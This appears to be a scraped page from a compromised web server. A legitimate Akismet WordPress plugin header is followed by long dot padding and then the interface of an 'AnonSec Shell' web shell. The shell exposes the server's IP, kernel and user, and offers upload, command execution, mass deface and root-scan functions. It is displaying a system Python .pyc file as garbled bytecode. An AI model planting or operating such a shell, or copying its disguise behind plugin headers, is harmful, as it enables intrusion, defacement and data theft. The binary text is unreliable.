#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/rhsm_debug/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/site-packages/rhsm_debug/debug_commands.pyc
�
L��ec@`s�ddlmZmZmZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlmZddlmZddl
jZddljZddlmZddlmZmZddlmZddlmZdd	lmZdd
lmZddlm Z!e	j"de#�Z$ej%e��Z&e!d
�Z'dZ(dZ)dZ*dZ+dgZ,defd��YZ-de.fd��YZ/dS(i(tprint_functiontdivisiontabsolute_importN(tdatetime(tignore_patterns(t
CliCommand(tInvalidCLIOptionErrortsystem_exit(tDEFAULT_PRODUCT_CERT_DIR(tourjson(t
initConfig(tconfig(tugettexts	rhsm-app.scThis system is not yet registered. Try 'subscription-manager register --help' for more information.is/var/spool/rhsm/debugi�i�s*key.pemt
SystemCommandcB`s}eZded�ed�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zgd
�Zd�Z
d�ZRS(
tsystems6Assemble system information as a tar file or directorycC`stj|d|d|d|�|jjdddddd	td
��|jjddd
dtddd	td��|jjddddtddd	td��|jjddddddtd	tj�|jjddddddtd	tj�t	|_
d|_dS(Ntnamet	shortdesctprimarys
--destinationtdesttdestinationtdefaults/tmpthelps7the destination location of the result; default is /tmps--no-archivetactiontstore_falsetarchives)data will be in an uncompressed directorys--sost
store_truetsoss>only data not already included in sos report will be collecteds--no-subscriptionst$placeholder_for_subscriptions_options--subscriptions(
Rt__init__tparsert
add_optiont_tTruetFalsetoptparset
SUPPRESS_HELPtASSEMBLE_DIRt
assemble_pathtNonetfinal_destination_path(tselfRRR((s?/usr/lib64/python2.7/site-packages/rhsm_debug/debug_commands.pyR5s"

	cC`std�|jS(Ns%%prog %s [OPTIONS] (RR(R(((s?/usr/lib64/python2.7/site-packages/rhsm_debug/debug_commands.pyt
_get_usageUscC`s�|jjr:tjj|jj�r:ttd���n|jjs�|j|j	|jj�s�td�|jj|j	f}t|��q�n|jj
r�tjd�ndS(Ns>The directory specified by '--destination' must already exist.s�To use the no-archive option, the destination directory '%s' must exist on the same file system as the data assembly directory '%s'.sUThe rhsm-debug options '--subscriptions' and '--no-subscriptions' have no effect now.(
toptionsRtostpathtexistsRRRt_dirs_on_same_deviceR%Rtlogtdebug(R(tmsg((s?/usr/lib64/python2.7/site-packages/rhsm_debug/debug_commands.pyt_validate_optionsXs%	cC`s"tj|�jtj|�jkS(N(R+tstattst_dev(R(tdir1tdir2((s?/usr/lib64/python2.7/site-packages/rhsm_debug/debug_commands.pyR.fsc
C`s�tjj|jj�|j_|j�tjtj�}|j	�sVt
tt�n|j
�}d|}d|}tjj|j|�}tjj|j|�}z�y�|j|�|jj|j�}|j|d|jj|j��|j|d|jj|j��|j|d|jj|j��|j|d|jj|jtd|d��|j|d|j��|jj}tj�}	|s�|jd	|�|j d
|�|j d|�n|s�|jt!|�n|	dtd
dks|r |jtd
d|�n|	dtd
dks?|rZ|jtd
d|�n|	dtd
dksy|r�|jtd
d|�ny>|	dtd
dks�|r�|jtd
d|�nWn+t"k
r�}
|
j#t#j$kr�qnXy>|	dtd
dks"|r=|j td
d|�nWn+t"k
rk}
|
j#t#j$krl�qlnX|jj%rz&t&j'|d�}|j(||�Wd|j)�Xtjj|jjd|�}||_*t+�}
|
j,||�t-t.d�|�nLtjj|jj|�}|j|�tj/||�t-t.d�|�Wn=t0k
r�}
t1j2t.d�|
|
�t3j4tj5�nXWd|r�tjj6|�r�t7j8|t�nXdS(Nsrhsm-debug-system-%ss	%s.tar.gzs
consumer.jsonscompliance.jsonsentitlements.jsons
pools.jsontkeysversion.jsons	/etc/rhsms
/var/log/rhsms
/var/lib/rhsmtproductcertdirtrhsmtproductCertDirtentitlementcertdirtentitlementCertDirtconsumercertdirtconsumerCertDirtca_cert_dirt
pluginconfdirsw:gzsrhsm-debug-system-%s.tar.gzs	Wrote: %ss3Unable to create zip file of system information: %s(9R+R,t
expanduserR*RR2tinjtrequiretIDENTITYtis_validRtERR_NOT_REGISTERED_CODEtERR_NOT_REGISTERED_MSGt
_make_codetjoinR%t_makedirtcptgetOwnertuuidt_write_flat_filetgetConsumert
getCompliancetgetEntitlementListtgetPoolsListR R&t_get_version_infoRtconftdefaultst_copy_cert_directoryt_copy_directoryRtEnvironmentErrorterrnotEEXISTRttarfiletopentaddtcloseR't
SaferFileMovetmovetprintRtrenamet	Exceptiont
managerclithandle_exceptiontsystexittEX_SOFTWAREtisdirtshutiltrmtree(R(tconsumertcodetarchive_namet
tar_file_nametcontent_patht
tar_file_pathtownerRRUtettft
final_pathtsfmt
dest_dir_name((s?/usr/lib64/python2.7/site-packages/rhsm_debug/debug_commands.pyt_do_commandis�



#


		
cC`stj�jd�S(Ns	%Y%m%d-%f(Rtnowtstrftime(R(((s?/usr/lib64/python2.7/site-packages/rhsm_debug/debug_commands.pyRH�scC`s.i|jdd6|jdd6|jdd6S(Nsserver-typesserver typet	candlepinssubscription management serverssubscription-manager(tserver_versionstclient_versions(R(((s?/usr/lib64/python2.7/site-packages/rhsm_debug/debug_commands.pyRS�sc
C`s\tjj||�}t|d��2}|jtj|dddtdtj��WdQXdS(Nsw+tindentit	sort_keysR(	R+R,RIR\twritetjsontdumpsR tencode(R(RptfilenametcontentR,tfo((s?/usr/lib64/python2.7/site-packages/rhsm_debug/debug_commands.pyRN�scC`s�|}tjj|�r%|d}n|dk	r_tj|tjj||�dt|��ntj|tjj||��dS(Nitignore(R+R,tisabsR&RjtcopytreeRIR(R(tsrc_patht	dest_pathtignore_patstrel_path((s?/usr/lib64/python2.7/site-packages/rhsm_debug/debug_commands.pyRW�s
cC`s|j||t�dS(N(RWtKEY_IGNORE_PATS(R(R�R�((s?/usr/lib64/python2.7/site-packages/rhsm_debug/debug_commands.pyRV�s	cC`stj|t�dS(N(R+tmakedirstROOT_READ_ONLY_DIR(R(Rw((s?/usr/lib64/python2.7/site-packages/rhsm_debug/debug_commands.pyRJ�s(t__name__t
__module__RR RR)R2R.RxRHRSRNRWRVRJ(((s?/usr/lib64/python2.7/site-packages/rhsm_debug/debug_commands.pyR
3s					m			
	R_cB`s2eZdZd�Zd�Zd�Zd�ZRS(s�Try to copy a file avoiding race conditions.

    Opens the dest file os.O_RDWR | os.O_CREAT | os.O_EXCL, which
    guarantees that the file didn't exist before, that we created it,
    and that we are the only process that has it open. We also make sure
    the perms are so that only root can read the result.

    Then we copy the contents of the src file to the new dest file,
    and unlink the src file.cC`sd|_t|_dS(Niii@(tbuf_sizetROOT_READ_ONLY_FILEt
default_perms(R(((s?/usr/lib64/python2.7/site-packages/rhsm_debug/debug_commands.pyRs	cC`sQt|d��/}|j|��}|j||�WdQXWdQXtj|�dS(s�Move a file to a dest dir, potentially /tmp more safely.

        If dest is /tmp, or a specific name in /tmp, we want to
        create it excl if we can.trbN(R\t
_open_exclt_copyfileobjR+tunlink(R(tsrcRtsrc_fotdest_fo((s?/usr/lib64/python2.7/site-packages/rhsm_debug/debug_commands.pyR`scC`s3tjtj|tjtjBtjB|j�d�S(sCReturn a file object that we know we created and nothing else owns.swb+(R+tfdopenR\tO_RDWRtO_CREATtO_EXCLR�(R(R,((s?/usr/lib64/python2.7/site-packages/rhsm_debug/debug_commands.pyR�s#cC`s:x3tr5|j|j�}|s%Pn|j|�qWdS(N(R treadR�R�(R(R�R�tbuf((s?/usr/lib64/python2.7/site-packages/rhsm_debug/debug_commands.pyR�s
	(R�R�t__doc__RR`R�R�(((s?/usr/lib64/python2.7/site-packages/rhsm_debug/debug_commands.pyR_�s
			
	(0t
__future__RRRRYR"R+RfRjtloggingR[RRtsubscription_manager.injectiont	injectionRBtsubscription_manager.managercliRdRtsubscription_manager.cliRRt"subscription_manager.certdirectoryRR9R	R�trhsm.configR
trhsmlib.servicesRtsubscription_manager.i18nRRt	getLoggerR�R/tConfigRTRGRFR$R�R�R�R
tobjectR_(((s?/usr/lib64/python2.7/site-packages/rhsm_debug/debug_commands.pyt<module>s8	�

Anon7 - 2022
AnonSec Team